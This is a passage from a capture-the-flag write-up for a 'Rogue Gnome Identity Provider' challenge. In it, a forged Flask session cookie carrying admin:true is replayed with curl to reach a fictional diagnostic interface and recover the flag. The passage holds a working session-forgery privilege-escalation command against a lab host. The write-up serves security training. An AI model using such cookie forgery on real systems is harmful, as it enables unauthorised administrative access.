< Set-Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aRJ9pA.wF9xhKD8-7smLl4BprzCnzmi4e4; HttpOnly; Path=/
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
Decoding the results shows that it has admin set to true:
Using it with the Gnome works to get admin access:
paul@paulweb:~$ curl -H 'Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aRJ9pA.wF9xhKD8-7smLl4BprzCnzmi4e4' http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
<head>
<title>AtnasCorp : Gnome Diagnostic Interface</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<div style='display:flex; justify-content:center; gap:10px;'>
<img src='/camera-feed' style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0;' />
<div style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0; display:flex; align-items:flex-start; justify-content:flex-start; text-align:left;'>
System Log<br/>
2025-11-10 13:20:40: Movement detected.<br/>
2025-11-10 21:10:54: AtnasCorp C&C connection restored.<br/>
2025-11-10 22:42:40: Checking for updates.<br/>
2025-11-10 22:42:40: Firmware Update available: refrigeration-botnet.bin<br/>
2025-11-10 22:42:42: Firmware update downloaded.<br/>
2025-11-10 22:42:42: Gnome will reboot to apply firmware update in one hour.</div>
</div>
<div class="statuscheck">
<div class="status-container">
<div class="status-item">
<div class="status-indicator active"></div>
<span>Live Camera Feed</span>
</div>
<div class="status-item">
<div class="status-indicator active"></div>
<span>Network Connection</span>
</div>
<div class="status-item">
<div class="status-indicator active"></div>
<span>Connectivity to Atnas C&C</span>
</div>
</div>
</div>
</body>
</html>
refrigeration-botnet.bin is the flag!
Outro
Rogue Gnome Identity Provider
Congratulations! You have completed the Rogue Gnome Identity Provider challenge!
Paul is impressed:
Paul Beckett
Brilliant work on that privilege escalation! You’ve successfully gained admin access to the diagnostic interface.
Now we finally know what updates the gnomes have been receiving - proper good pentesting skills in action.